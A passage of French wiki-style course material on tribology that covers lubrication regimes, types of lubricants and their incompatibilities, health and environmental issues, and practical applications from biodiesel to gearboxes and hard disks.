'''Pour des surfaces correctement lubrifiées, le frottement et l'usure apparaissent comme deux grandeurs indépendantes ; en revanche, une lubrification médiocre les met en relation directe'''. Une partie de l'usure provient de l'attaque chimique. Si cette dernière forme des composés faciles à cisailler, les facteurs de frottement faibles iront souvent de pair avec une usure importante. L'utilisation inconsidérée de lubrifiants ou d'additifs susceptibles d'attaquer les surfaces peut entraîner de graves désordres. L''''onctuosité''' est une variable que l'on ne sait pas encore chiffrer et qui qualifie le comportement global des trois matériaux en présence, le lubrifiant et les deux pièces, compte tenu des traitements de surface éventuels et de l'ambiance. Elle caractérise la plus ou moins grande solidité des manteaux protecteurs. La '''viscosité''' sera étudiée plus loin en détail. C'est une propriété fondamentale pour deux raisons aussi essentielles que contradictoires : un bon rendement mécanique impose un lubrifiant très fluide mais la sécurité de fonctionnement liée à l'épaisseur des films superficiels le fait préférer très visqueux ! == Régimes de lubrification == On passe progressivement du frottement sec à la lubrification « idéale » où un film suffisamment épais sépare complètement les pièces. La transmission des efforts est assurée dans le premier cas par les seules aspérités des surfaces, dans le second par la pression qui règne dans la couche de lubrifiant. Le frottement '''immédiat''', ou sans lubrifiant, a été envisagé dans les chapitres précédents. Le frottement lubrifié ou '''médiat''' est subdivisé en plusieurs régimes différents : * '''lubrification limite''' : l'épaisseur du film lubrifiant est insuffisante pour isoler complètement les solides en contact ; si la charge devient trop forte, il ne subsiste qu'une couche adsorbée quasi monomoléculaire. C'est la solidité de cette dernière qui empêche les contacts métal sur métal. L'aptitude du lubrifiant à former une couche adhérente, appelée '''onctuosité''', est ici une qualité primordiale. * '''lubrification onctueuse''' : la couche de lubrifiant est plus épaisse, elle commence à porter une partie des charges mais il subsiste des contacts entre les aspérités des pièces. En général, les pressions sont plutôt importantes et les vitesses relatives plutôt faibles. * '''lubrification hydrodynamique''' : le lubrifiant liquide est entraîné et mis sous pression par le mouvement relatif des surfaces. Il sépare totalement ces dernières et supporte l'intégralité des charges, grâce à sa '''viscosité''', qui correspond à sa résistance à l'écoulement. Dans ce cas de figure les vitesses relatives ne sont jamais très faibles mais les pressions restent modérées, de sorte que l'on peut négliger les déformations des pièces et la compressibilité du lubrifiant. * '''lubrification élastohydrodynamique''' : c'est un cas particulier du précédent, lorsque la pression dans le film liquide est suffisante pour déformer localement les solides en contact, comme c'est le cas lors du fonctionnement des engrenages. Cette déformation change la géométrie du film et la répartition des pressions, mais aussi les caractéristiques des lubrifiants : à 7 000 bars et 100 °C (conditions fréquentes dans les contacts), la viscosité des huiles naphténiques peut être multipliée par 100 000 ! * '''lubrification hydrostatique ou aérostatique''' : elle consiste à envoyer, à l'aide d'une pompe ou d'un compresseur, un liquide ou un gaz sous pression pour séparer les surfaces qui peuvent alors être ou non en mouvement relatif. Elle est la garantie d'un frottement extrêmement faible et d'une absence quasi totale d'usure mais il faut une source d'énergie extérieure. == Classification des lubrifiants == On peut distinguer les lubrifiants selon leur origine, animale, végétale, minérale ou synthétique, ou selon leur présentation, liquide, pâte ou solide. === Lubrifiants d'origine animale === Ils sont constitués essentiellement d'esters résultant de la combinaison d'acides gras avec la glycérine. Ce sont souvent des « ancêtres » mais certains entrent encore dans diverses compositions : * liquides : oléines, huiles de lard, de pied de bœuf ou de mouton, etc., très onctueuses, huiles de poisson, de baleine, de phoque, glycérine autrefois utilisée pour son point de congélation très bas. * pâteux : oléostéarines, suifs (qui deviennent très acides par oxydation), suintines et brais résultant du traitement de la laine, lanoline très utilisée dans les produits antirouille car elle absorbe l'eau. * solides : stéarine, dont l'usage est restreint à la formulation de graisses très dures. === Lubrifiants d'origine végétale === Ce sont en général des combinaisons d'acides gras peu ou pas estérifiés. Certains sont encore largement utilisés en addition dans les huiles de pétrole ou dans les graisses : * liquides : huiles semisiccatives (s'épaississant par oxydation) de coton, de colza, huiles non siccatives d'arachide, d'olive, et surtout de ricin intéressante par sa forte viscosité et la possibilité de l'utiliser dans une large gamme de températures. * pâteux : huiles de palme, de coco et de coprah, liquides aux températures tropicales mais pâteuses dans nos régions. * solides : résines et colophanes tirées du pin, pouvant résister à l'eau. === Lubrifiants d'origine minérale === * liquides : huiles de houille, de schiste, utilisables comme produits de remplacement, et surtout huiles de pétrole. * pâteux : vaseline. * solides : soufre utilisé autrefois pour sauver les paliers endommagés, talc, mica, bisulfures de molybdène et de tungstène, graphite, sulfure de plomb, oxyde de zinc. === Lubrifiants d'origine synthétique === * liquides : silicones, polyglycols, esters phosphoriques, esters aliphatiques, polyoléfines, métaux liquides. * pâteux : verres, borates et oxyde de bore B<sub>2</sub>O<sub>3</sub> (pâteux à chaud), graisses silicones. * solides : polyéthylènes, polytétrafluoroéthyène (P.T.F.E.), savons (stéarates de zinc, de calcium, d'aluminium ...), oxyde de plomb PbO, disulfure de tungstène, phtalocyanine, fluorure de graphite, fluorures de calcium, de baryum et de lithium, nitrure de bore. === Incompatibilités et lubrifiants spéciaux === * compresseurs à oxygène : ils peuvent être lubrifiés par l'eau. Tous les corps oxydables (y compris les métaux !) peuvent s'enflammer violemment en présence d'oxygène sous pression et sont donc proscrits. L'eau est un très mauvais lubrifiant pour les métaux mais convient parfaitement pour le cuir et certaines matières plastiques. * compresseurs à chlore : ce gaz attaque tous les lubrifiants ordinaires et forme avec les hydrocarbures des composés explosifs (panclastite). L'acide sulfurique parfaitement anhydre, encore appelé huile de vitriol, constitue une solution possible. * compresseurs de machines frigorifiques : les fluides frigorigènes (fréons, foranes ...) présentent diverses incompatibilités avec les huiles : destruction catalytique mutuelle, dissolution du frigorigène dans le lubrifiant et précipitation des paraffines qui forment des bouchons dans les parties froides. On utilise aujourd'hui des huiles à base d'alkylbenzènes. * compresseurs de gaz naturels ou synthétiques comme le chlorure de vinyle : ces gaz sont solubles dans les hydrocarbures et l'on utilise des huiles à base de polyglycols protégés de la destruction catalytique. * hypercompresseurs d'éthylène pour la fabrication du polyéthylène : le problème vient non seulement des énormes pressions de refoulement utilisées, 2 500 à 3 000 bars, mais aussi de ce que le polyéthylène est utilisé pour emballer les aliments : il faut donc des produits lubrifiants absolument dépourvus de toxicité. On utilise les polyglycols, sauf pour le polyéthylène destiné à servir d'isolant électrique pour lequel on préfère, pour ne pas en altérer les qualités diélectriques, les polyisobutènes. * fluides ininflammables : on utilise, entre autres pour le matériel hydraulique, des huiles émulsionnées d'eau, des fluides à base de polyglycols, des esters phosphoriques. La dépense supplémentaire n'est pas destinée à améliorer le fonctionnement des mécanismes concernés mais à éviter les incendies. * joints d'étanchéité : tous les lubrifiants ne conviennent pas pour tous les types de matériaux. Parmi les incompatibilités essentielles, citons caoutchouc butyl et huile de pétrole, Viton et esters phosphoriques de type aviation, caoutchouc éthylènepropylène et hydrocarbures, en revanche on peut associer caoutchouc butyl ou éthylènepropylène et esters phosphoriques, Viton et polyglycols. La compatibilité des lubrifiants avec les joints d'étanchéité, en particulier avec les joints à lèvre, doit être prise en compte dès la conception des machines. Des fabricants importants de joints et de lubrifiants, comme ''Freudenberg Simrit'' et ''Kluber Lubrification'', ont mis en commun leur compétence pour conseiller les meilleures solutions possibles aux divers problèmes qui peuvent se poser dans les bureaux d'études. == « Lubrifiants » gazeux == Dans certains mécanismes on trouve des surfaces mobiles totalement séparées par un flux de gaz maintenu sous pression ; le plus souvent, pour des raisons évidentes de disponibilité et de coût, on utilise de l'air. Il ne s'agit pas là d'une lubrification au sens propre du terme, mais d'une disposition constructive qui permet d'utiliser à bon escient les propriétés physiques des écoulements gazeux. Le gaz peut être utilisé sous faible pression, il se comporte alors comme un fluide à peu près imcompressible, et l'on obtient alors des déplacements sur « coussins d'air ». Des véhicules ont été construits sur ce principe, comme les « hovercrafts » ou l'aérotrain développé voici quelques décennies par l'inventeur Bertin. Dans d'autres applications, le gaz est soumis à des pressions beaucoup plus importantes et il se comporte alors comme un fluide compressible ; ce mode de fonctionnement est celui des guidages aérostatiques qui permettent d'obtenir des vitesses très élevées sans aucun contact matériel. Un exemple hélas connu de tous ou presque est le guidage des fraises de dentistes, l'air comprimé étant ici à la fois la source d'énergie, puisqu'il fait tourner une petite turbine, et l'élément de sustentation du rotor mobile, lequel atteint couramment 150 à 200 000 tours/min. == Lubrifiants liquides et produits assimilés == Ils font l'objet de l'article détaillé '''[[Tribologie - Lubrifiants liquides]]''' en raison de l'abondance des notions traitées. == Lubrifiants pâteux, graisses == Les divers lubifiants pâteux, en particulier les graisses lubrifiantes, font l'objet de l'article détaillé '''[[Tribologie - Lubrifiants pâteux]]'''. == Lubrifiants solides et vernis de glissement == Les divers lubrifiants solides et les vernis de glissement, ainsi que les études sur la suprafriction, se trouvent désormais dans l'article détaillé '''[[Tribologie - Lubrifiants solides et vernis]]'''. == Problèmes sanitaires et d'environnement (à compléter par un spécialiste !)== A priori les lubrifiants d'origine naturelle comme le graphite, le talc, l'huile de colza ou le suif ne posent guère de problèmes pour la santé publique et pour l'environnement, car ils ne sont pas toxiques et ceux qui ne sont pas inertes peuvent être détruits facilement par des voies biologiques. Il n'en va pas de même avec les huiles de pétrole et surtout avec les multiples produits de synthèse et additifs qui interviennent dans la composition de l'immense majorité des lubrifiants modernes. Il faut aussi, dans bien des cas, tenir compte du fait que la dégradation de lubrifiants non toxiques peut engendrer des composés chimiques dangereux. Les huiles solubles utilisées pour la coupe des métaux, par exemple, ont longtemps été la cause de maladies professionnelles pour les ouvriers qui étaient amenés à les manipuler. Il s'agissait essentiellement d'émulsions aqueuses contenant un certain pourcentage d'huiles végétales, par exemple de l'huile de colza. Ces huiles finissaient par se décomposer, devenant de véritables bouillons de culture à l'odeur nauséabonde. La contamination par les bactéries pouvait se faire par contact ou par inhalation d'aérosols provenant de l'huile pulvérisée pendant la coupe. L'adjonction de doses massives d'antiseptiques revenait souvent à remplacer un produit dangereux par un autre. === Les lubrifiants et l'industrie alimentaire === Depuis longtemps les grands fabricants de lubrifiants travaillent en collaboration avec les industriels du secteur agroalimentaire pour mettre au point des produits adaptés au matériel utilisé pour la préparation des aliments. À titre d'exemple, la collaboration entre les sociétés Shell et Unilever a permis la mise au point de la gamme de liquides et des graisses Cassidamd et le lancement d'un service de gestion de la lubrification destinés à l’industrie des aliments et des boissons. Les points critiques présentant un risque de contamination par les lubrifiants ont été identifiés et les lubrifiants traditionnels ont cédé la place à des liquides et graisses synthétiques « Cassida » dont le contact accidentel avec les aliments n'entraîne aucune conséquence néfaste en matière de salubrité, tout en améliorant la fiabilité des installations. Consulter, sur ce sujet : [http://www.shell.ca/code/library/news/2005/05nr_jan11_unilever.html] === Problèmes de pollution, de récupération et de recyclage === D'énormes quantités de lubrifiants sont répandues chaque année dans l'environnement. Les causes sont multiples : * les fuites (voir le sol des parkings) ; les pertes paraissent infimes mais il faut les multiplier par le nombre d'engins à moteur pour avoir une idée de l'importance de cette pollution, * les gaz d'échappement de certains types de moteurs, entre autres ceux qui fonctionnement avec un mélange d'essence et d'huile, * les huiles « consommables » comme celles qui sont utilisées pour la lubrification des chaînes de tronçonneuses, * la malveillance et les décharges sauvages. Outre la lubrification directe des machines et appareils comportant des pièces mobiles, les lubrifiants « industriels » appartiennent pour l'essentiel à cinq grandes catégories : fluides pour circuits hydrauliques, huiles pour turbines, huiles isolantes pour les équipements électriques (transformateurs), huiles pour le traitement thermique des métaux et fluides caloporteurs. Ils sont utilisés dans des secteurs d'activité très divers : industrie en général mais aussi agriculture, bâtiments et travaux publics, services techniques des collectivités, etc. Les sources potentielles de pollution par les hydrocarbures et les diverses sortes de lubrifiants synthétiques ne manquent donc pas. Dans le cas des lubrifiants automobiles, l'élimination s'impose lors des opérations de vidange ou de réparation, mais aussi lors de la mise hors service. Les « huiles noires » proviennent essentiellement de la vidange des moteurs et des installations de trempe des métaux, elles sont fortement dégradées par les chocs thermiques qu'elles ont subi et contaminées par toutes sortes de produits dangereux et leur valorisation est difficile. Les « huiles claires » comme celles qui ont servi pour les circuits hydrauliques sont au contraire peu chargées en impureté et en produits polluants et il est assez facile de les recycler. Les huiles usagées sont très peu biodégradables et comme elles sont plus légères que l'eau, elles présentent la fâcheuse propriété de s'étaler à la surface des eaux en perturbant gravement la vie de la flore et de la faune. On a pu jadis s'en servir comme combustible mais cet usage est maintenant interdit, à juste titre, car leur combustion produit d'innombrables produits acides, toxiques ou cancérigènes comme les dioxines ou les hydrocarbures polycycliques aromatiques. === « Nano-additifs » et sécurité === Le développement des nanotechnologies ouvre de nouveaux horizons à l'industrie des lubrifiants. La présence de nanoparticules dans les huiles, les graisses, les vernis de glissement et les lubrifiants solides modifie beaucoup de leurs propriétés, à commencer par une meilleure préservation des mécanismes et une plus grande durée de vie des lubrifiants eux-mêmes.. Les nano-particules sont obtenues à partir de matériaux conventionnels divisés en fragments si petits que leurs dimensions se mesurent en nanomètres, c'est-à-dire en milliardièmmes de mètre. L'épaisseur d'une feuille de papier ordinaire est d'environ 100 000 nanomètres. Lorsque les particules sont aussi petites, elles présentent des propriétés physiques et chimiques très différentes de celles du matériau considéré sous forme de blocs. Par exemple, les additifs extrême pression et les additifs anti-usure deviennent beaucoup plus stables, même dans des conditions extrêmes ; il en résulte une durée d'activité plus grande et un allongement du temps de fonctionnement entre deux opérations de maintenance. La diminution de l'usure s'accompagne d'un frottement plus faible et d'une réduction des bruits, des vibrations et de l'échauffement. La consommation d'énergie, la pollution et les coûts de maintenance sont diminués. La capacité de charge des guidages est augmentée. Les nanoparticules peuvent être incorporées aux revêtements organiques ou métalliques ou encore aux matériaux poreux autolubrifiants. À l'état solide, elles sont utilisables dans les environnements ultra-propres. Il faut cependant envisager leur utilisation avec beaucoup de prudence. Ces particules sont si petites qu'elles peuvent très facilement pénétrer dans le corps humain, par inhalation ou encore à travers la peau ; elles présentent moins de danger si elles sont utilisées en suspension dans des liquides. Au fur et à mesure que l'on découvre leurs effets et leurs propriétés, les procédures de sécurité indispensables peuvent être définies. Tribologie - Applications pratiques 985 43320 2006-05-27T20:49:16Z Jean-Jacques MILAN 114 /* Biodiésel */ l'huile végétale pure utilisée comme carburant [[Catégorie:Tribologie]] {{Tribologie}} == Idées générales == Force est de reconnaître que dans le domaine des applications du frottement, de la lubrification et de l'usure, bien peu de progrès fondamentaux ont été accomplis depuis deux siècles : les Anciens disposaient déjà de corps gras, du bronze « marine », des alliages antifriction brevetés plus tard par Babbit, ils savaient comment sauver un palier en passe de gripper avec du soufre ... Les armes supplémentaires doivent être recherchées parmi les matériaux, leurs traitements, les lubrifiants, ainsi que dans le remplacement des guidages lisses par les roulements. En même temps, d'innombrables questions et problèmes nouveaux sont apparus. On retiendra entre autres ces quelques innovations : * les dopes des lubrifiants dus à Evans, * le graphite (c'est encore à voir), * le bisulfure de molybdène, * les matières plastiques, Nylon, Rilsan, ... et surtout PTFE, * les alliages d'aluminium, * les matériaux complexes frittés, imprégnés ou non, * de très nombreux traitements de surfaces. Il a paru intéressant de faire un point, non exhaustif, sur des solutions ou des tendances actuelles dans un grand nombre de domaines : c'est ce que l'on trouvera dans les pages suivantes, où les différents sujets traités sont classés par ordre alphabétique. == Aciers inoxydables == Ils font partie des matériaux qui grippent beaucoup plus rapidement dans l'eau que dans l'air, ce phénomène étant retardé par le galetage et accéléré par le polissage électrolytique. == Articulations (machines) == Il en existe beaucoup sur les engins de chantier, les machines agricoles, etc. On peut remplacer le bronze des bagues de guidage par de l'acier traité, éventuellement sous forme de coussinets spéciaux. == Ascenseurs == Le nouvel ascenseur GeN2 de la société Otis rompt avec plus d'un siècle de tradition en raison du remplacement des câbles d'acier par une courroie plate faite d'acier recouvert de polyuréthanne et de l'usage d'un moteur alimenté à fréquence variable et dépourvu de tout engrenage. L'allègement du lien et la diminution de la taille du bloc moteur permettent de loger celui-ci dans la gaine d'ascenseur plutôt que dans un local réervé à la machinerie. Outre une meilleure précision du déplacement des cabines, une plus grande résistance à l'usure par rapport aux systèmes traditionnels et une réduction du bruit, ces innovations permettent aussi de supprimer la lubrification des câbles et des engrenages. == Biodiésel et huiles végétales == === Manitoba, États-Unis === Le gouvernement du Manitoba a éliminé toutes les taxes sur le biodiésel pur produit au Manitoba dans le cadre du budget 2006 en vue d’encourager davantage le développement de cette énergie de remplacement propre. Le biodiésel est fabriqué à partir d’huiles végétales, de graisses animales et d’huiles récupérées des restaurants. Environ 850 000 tonnes de carburant diesel sont consommées au Manitoba chaque année, la plus grande partie étant utilisée par les secteurs des transports et de l’agriculture. Comparativement au carburants issus du pétrole, le biodiésel pur réduit un certain nombre d’émissions telles que : * les gaz à effet de serre (jusqu’à 90 %) * le dioxyde de soufre (de 100 %) * les hydrocarbures (de 40 %) * les particules (de 70 %) * le gaz méthane (de plus de 50 %) * le monoxyde de carbone (de 50 %) * les hydrocarbures aromatiques qui causent le cancer et l’emphysème (jusqu’à 80 %). Le biodiésel peut être utilisé sous forme de carburant pur ou dans des mélanges utilisables dans n’importe quel véhicule diesel. Outre ses avantages écologiques, il '''améliore la lubrification''' dans les véhicules, réduisant ainsi les coûts d’entretien. === Biocarburant à Villeneuve sur Lot (Lot-et-Garonne) === Depuis Octobre 2005, 10 camions bennes de marque Renault appartenant à la Communauté de Communes du Villeneuvois roulent, à titre expérimental, avec un mélange de 70 % gazole et de 30 % d’huile végétale pure issue de la production locale. Le bilan de cette expérience, dévoilé en avril 2006, confirme l’absence de toute usure anormale des moteurs diesel et la réduction de la nocivité des gaz d’échappement. Les particules émises sont moins nombreuses, le moteur moins bruyant et offre de meilleures reprises. Cette phase d’observation a été menée sans aucune modification des moteurs, elle se poursuit aujourd'hui avec le passage à l'huile végétale pure non mélangée au gazole. Un kit de préchauffage est nécessaire pour amener l'huile à la bonne température lors du démarrage. Si les résultats se révèlent satisfaisants, l'équipement de tous les poids lourds de la communauté de communes est envisagé. Une économie de 60 000 € par an est attendue, compte tenu du prix actuel du gazole. Un autre avantage de l'utilisation d'huile végétale comme carburant est la possibilité de lutter contre la désertification rurale d'un département qui compte 16 000 ha de jachères. Avec 3 kg de graines de tournesol, on obtient 1 l d'huile et 2 kg de tourteau pouvant servir d'aliment pour le bétail. Le seul investissement, relativement minime, est l'acquisition d'une presse. Contrairement aux biocarburants comme le diester, l’usage de l’huile végétale pure n’est pas encore reconnu en France, malgré la directive européenne 2003/30 sur la promotion des biocarburants, signée le 8 mai 2003 et entrée en vigueur depuis le 1er janvier 2005. Le Préfet du Lot et Garonne a ainsi saisi en février 2006 le tribunal administratif de Bordeaux afin d’annuler le projet de la Communauté de Communes du Villeneuvois, d'où des démêlés juridiques qui ne sont pas encore terminés. L'enjeu est de savoir si l'huile végétale doit ou non être soumise à la taxe intérieure sur les produits pétroliers (TIPP), qui représente 7,5 % des recettes fiscales de l'État. Par ailleurs, le Comité des Constructeurs Français d'Automobiles (CCFA) a rappelé en janvier 2006 son opposition à l'utilisation des huiles végétales pures dans les moteurs diesel. En cas d'une commande de poids lourds destinés à rouler avec ce carburant, la garantie des moteurs risque de ne pas être assurée et il faudra alors que la Communauté de Communes lance un appel d'offre européen. En Allemagne, l'huile végétale est licite et disponible dans un nombre déjà important de stations-services. Les essais se poursuivent, malgré l'opposition de la préfecture et des constructeurs. == Bois== Le prix Schweighofer de l’innovation technologique a été remis le 13 juin 2005 à une équipe franco-suisse (1) conduite par Tony Pizzi (INRA-ENGREF-Université Nancy I) et Balz Gfeller (Suisse) pour leurs travaux sur le [[Tribologie_-_Applications_pratiques#Soudage_par_friction|'''soudage du bois''' par friction]]. À la suite d'une erreur de manipulation, on a découvert que des pièces de bois soumises à un frottement important, suivi d'une mise en pression, pouvaient se souder entre elles sans qu'il soit besoin d'utiliser de la colle. A des températures supérieures à 180 °C, les constituants du bois (lignine et hémicellulose) changent en effet de comportement, de nouveaux composés chimiques apparaissent (furfural entre autres) et des liaisons très solides se forment dans les réseaux de fibres constituant le matériau. Des jonctions se forment en quelques secondes et leur résistance équivaut à celle des joints obtenus au bout de longues heures de séchage ou de polymérisation avec les colles acryliques ou vinyliques habituelles. Il est possible de souder des pièces planes d'une même essence ou de deux essences différentes. Les machines à souder par friction déjà utilisées pour l'assemblage des métaux conviennent aussi pour le bois mais on peut utiliser des outils plus simples comme des perceuses, par exemple pour mettre en place les chevilles destinées aux éléments d'ameublement. Il y a toutefois une limitation, les joints de bois soudés ne résistent pas dans les milieux humides. Sachant que 100 000 tonnes de colles d'origine pétrochimique sont consommées chaque année en France, dont une bonne part dans l'industrie du bois, on mesure l'intérêt de ce procédé pour diminuer la consommation de matières premières tout en évitant les risques de pollution dûs aux composés volatils et/ou toxiques présents dans ces produits. == Boîtes de vitesses == Les synchroniseurs doivent avoir un coefficient de frottement élevé dès l'essorage (évacuation de l'huile d'entre les deux cônes) et une bonne résistance à la compression. On utilise les couples de matériaux suivants : * bronze-acier pour les synchroniseurs de type Borg-Wagner peu chargés, * acier-molybdène, ce dernier déposé par plasma. Ce couple convient aux systèmes Borg-Wagner très chargés car il résiste bien à l'usure et supporte un frottement de longue durée. Il y a un risque de destruction rapide en cas d'oxydation du molybdène, particulièrement en cas de présence d'eau dans l'huile, * acier-aluminium, utilisé pour les systèmes New-Process malgré sa sensibilité à la chaleur qui interdit un frottement trop prolongé, * acier-matériau de frottement organique (collé sous forme de « papier ») : le coefficient de frottement est élevé mais le matériau est compressible, * acier-matières plastiques : le polyimide Kinel donne de bons résultats dans le cas du New-Process. Les paliers lisses ou à roulements doivent être compatibles avec les lubrifiants pour engrenages, à l'état neuf ou usagé. En général les roulements sont lubrifiés par projection d'huile mais on emploie de plus en plus des roulements étanches pour éviter l'entrée de débris métalliques ou autres impuretés. Pour les fourchettes de commande, le bronze et le laiton sont remplacés par l'aluminium, ou plus souvent l'acier ou la fonte revêtus de molybdène ou de matières synthétiques. La lubrification est essentielle pour la durée de vie. Il faut prévoir assez d'huile pour ralentir l'inévitable perte de caractéristiques et spécifier la périodicité des vidanges. '''Un point capital est la propreté au niveau de la fabrication'''. On doit prévoir autant que possible un bouchon magnétique pour retenir les impuretés ferreuses, assurer la montée progressive en puissance lors du rodage et prévoir après celui-ci une vidange complète, avant la mise en service à la puissance nominale. == Boucliers thermiques == De tels boucliers permettent aux véhicules spatiaux de pénétrer l'atmosphère de la Terre ou d'une autre planète sans se désintégrer à la manière des météorites qui produisent les étoiles filantes. Le bouclier de la sonde Huygens qui s'est posée sur Titan le 14 janvier 2005 était, historiquement, le premier jamais réalisé en Europe, plus spécialement sur le site de Saint-Médard-en-Jalles de la société EADS, près de Bordeaux. Il a permis de réduire la vitesse de cette sonde de 6 km/s à 400 m/s grâce au frottement dans l'atmosphère. Cette pièce avait la forme d'une soucoupe de 2,75 m de diamètre, réalisée en fibres de carbone avec un structure d'aluminium en nid d'abeilles, et comportant une couche de protection thermique de moins de 20 mm d'épaisseur. Celle-ci était constituée d'environ 200 dalles d'un composé ablatif (qui disparaît au fur et à mesure du fonctionnement) à base de fibres de silice dans une matrice de résine phénolique. Ce matériau est à la fois très solide, très léger et très isolant. L'arrière du bouclier était recouvert d'une garniture de 2 mm de Prosial, un autre composé isolant comportant des sphères de silice creuses dispersées dans un élastomère de silicone, souvent utilisé en construction aéronautique comme barrière anti-feu. Bien que sa masse n'ait pas dépassé 80 kg, ce bouclier a suppoprté un flux thermique de l'ordre de 1 MW/m² pendant l'entrée dans l'atmosphère de Titan, avec des températures de surface pouvant atteindre 1500°C. La température du plasma provoqué par l'onde de choc en avant du bouclier était supérieure à celle de la surface du Soleil ... De plus, les caractéristiques chimiques de l'atmosphère traversée étaient très différentes de celles de l'atmosphère terrestre. L'un des problèmes les plus importants des boucliers thermiques est la présence de matériaux caractérisés par des coefficients de dilatation très différents, comme l'aluminium et la fibre de carbone. == Boulonnerie == La maîtrise du frottement permet de diminuer l'incertitude sur les efforts de serrage à couple imposé. Ceci est particulièrement important pour la boulonnerie serrée à la limite d'élasticité comme celle des culasses, surtout sur les moteurs diesel. == Chaînes de transmission == L'usure augmente le pas des chaînes à rouleaux, ce qui finit par les mettre hors service. En même temps, elle diminue le pas des roues. Une chaîne abondamment lubrifiée par de l'huile propre ne subit pratiquement pas d'usure, mais si elle est sèche, même avec des conditions de fonctionnement peu sévères, elle sera rapidement mise hors d'usage. On rencontre également beaucoup d'usure abrasive pour des chaînes peu ou pas protégées. [[Image:Roue dentee pour chaine.jpg|thumb|une roue dentée « un peu » usée, évidemment la chaîne a fini par sauter définitivement !]] Cette usure se traduit par une perte de métal de l'axe ou de la douille et un accroissement du jeu. Une chaîne en fonctionnement normal est entraînée par les flancs des dents, si l'usure est trop forte, elle saute sur les sommets des dents. On tolère un allongement U % tel que U = 180/Z, Z étant le nombre de dents de la plus grande roue. Il existe une vaste panoplie de produits lubrifiants spéciaux. La difficulté est de les introduire entre l'axe et la douille, particulièrement avec les graisses et les produits bitumineux. La première imprégnation est faite par les fabricants à chaud et sous vide. Les produits les mieux adaptés semblent être dans la majorité des cas les huiles minérales. == Construction aéronautique et spatiale == De nombreux organes doivent pouvoir fonctionner à sec dans les commandes de vol, articulations de trains d'atterrissage, glissières de lancement d'engins, paliers de satellites à longue durée de vie .. L'usure induite par de petits débattements (autre façon plus correcte de désigner la corrosion de contact) se manifeste sur les alliages aéronautiques : dégradation avec formation de débris dont une partie peut être éjectée, apparition de microfissures qui participent à la formation de débris plus importants, propagation de ces fissures et rupture à une durée de vie réduite lorsque l'une d'elles atteint une dimension critique liée à la ténacité du matériau concerné. Cette forme d'usure concerne entre autres : * les aciers à très haute résistance des axes d'éléments d'atterriseurs, * les alliages légers dans les assemblages rivés ou boulonnés des cellules, au niveau des interfaces tôle/tôle et des fixations tôle/suppport, * les alliages de titane et les superalliages dans les liaisons disques/aubes sur les turbomachines, * les aciers à moyenne résistance des pièces tournantes de rotors d'hélicoptères. On retarde ce phénomène par des traitements et protections de surface, des mastics intercalaires, le baguage de certaines pièces, le graissage. Dans les commandes de vol on trouve beaucoup de rotules sphériques autolubrifiantes, généralement à base de PTFE et de tissus de fibres de verre ou organiques ou en graphite-céramique pour les parties chaudes. Ces matériaux tiennent mal en présence de poussières abrasives, d'où l'utilisation de rotules étanches avec lèvres d'élastomères. La réduction de la consommation des avions passe par la réduction des diverses traînées, c'est-à-dire des forces qui provoquent un freinage. Les traînées sont liées aux forces de frottement, à la portance (comme pour un véhicule terrestre qui doit gravir une pente) et à la compressibilité de l'air et aux ondes de choc. Dans cet ensemble, les frottements interviennent actuellement pour moitié environ et c'est donc sur elle que portent la plupart des recherches. Une des méthodes consiste à imiter la peau des requins, animaux considérés comme particulièrement efficaces pour la pénétration dans l'eau, pour diminuer les écoulements turbulents. Des parois souples rainurées sont efficaces mais, faute de matériaux suffisamment légers et durables, cette solution n'est pas utilisée actuellement. On essaie également de stabiliser l'écoulement laminaire au niveau de la couche limite, c'est-à-dire de la couche d'air visqueuse qui adhère aux parois. Son décollement provoque en effet des turbulences génératrices de pertes d'énergie. Un meilleur état de surface des voilures, une meilleure propreté, améliorent passablement les choses. Des dispositifs d'aspiration ont été étudiés mais ils se révèlent malheureusement trop complexes pour être généralisés. == Construction automobile en général == Voir Boîtes de vitesses, Moteurs thermiques. == Construction nucléaire == Dans les centrales nucléaires on trouve de nombreux cas de frottement en atmosphère neutre à faible vitesse. Faute de films d'oxydes, les risques de grippage sont élevés. Les dilatations provoquent beaucoup de petits déplacements à faible vitesse (quelques mm/h) et assez forte charge (3 N/mm<sup>2</sup>). Jusqu'à 400°C, le problème est résolu par des aciers nitrurés et jusqu'à 800°C par des revêtements de carbure de chrome avec un liant en nickel-chrome. On trouve aussi de nombreux couples en graphite, mais attention au coefficient de frottement qui atteint couramment 1 ! == Contacts électriques == Les connecteurs prennent une part très importante dans les défaillances des systèmes. Les principaux agents de corrosion dans les milieux industriels sont SO<sub>2</sub> et H<sub>2</sub>S. L'augmentation des pressions de contact évite la corrosion de contact mais augmente les efforts d'enfichage et de désenfichage, ce qui est rédhibitoire si le nombre des contacts actionnés simultanément est très élevé. La fiabilité d'un connecteur est avant tout une question de frottement et d'usure. Les revêtements de nitrure de titane Ti<sub>2</sub>N donnent des résultats médiocres en raison de la structure cubique de ce matériau, mais le carbure de nickel donne de très bons résultats. On peut aussi remplacer la solution traditionnelle nickel-or par étain-plomb avec un lubrifiant spécialisé. == Dents == Indépendamment des attaques de la carie, les dents s'usent selon trois processus essentiels : * l'''attrition'', qui est l'usure « normale » des dents lors de la mastication des aliments ; il s'agit en fait d'une usure abrasive. * l'''abrasion'', qui résulte d'un frottement survenant en-dehors des phases de mastication ; les contraintes intenses qui résultent de la mise en contact des dents lorsque l'on avale sa salive ou surtout le bruxisme, qui est un phénomène pathologique, désagrègent l'émail dentaire sous l'effet de contraintes excessives, * l'''érosion'' est un processus de dissolution causé par l'attaque des aliments acides, jus de fruits, sodas, agrumes, vinaigre, cornichons, légumes acides, reflux gastro-aérophagiens, etc. ; on peut faire le parallème avec la corrosion. Le lecteur averti notera que le vocabulaire utilisé en art dentaire diffère sensiblement de celui des physiciens ou des mécaniciens. Il faut en effet traduire attrition par abrasion, abrasion par dépassement des contraintes admissibles et érosion par corrosion. Pour une meilleure protection bucco-dentaire, on conseille : * de ne pas abuser des aliments acides et d'éviter le grignotage, * de retenir le moins longtemps possible les aliments acides dans la bouche, * de consommer du lait ou du fromage après une agression acide, ce qui permet de « reminéraliser » l'émail qui vient d'être attaqué, * de ne pas se brosser les dents juste après une attaque acide mais de laisser auparavant la salive jouer son rôle de régulateur d'acidité. == Disques durs d'ordinateurs == Les disques durs comportent, de l'intérieur vers l'extérieur, quatre couches superposées : le support, une couche magnétique où l'information est stockée, une couche protectrice contre la corrosion et une fine couche lubrifiante nécessaire pour réduire le frottement avec les têtes de lecture/écriture, même si en principe ces dernières ne touchent jamais le disque. Pour augmenter la densité de l'information stockée il faut diminuer l'épaisseur de la couche protectrice et rapprocher les têtes de la surface du disque, ce qui rend d'autant plus 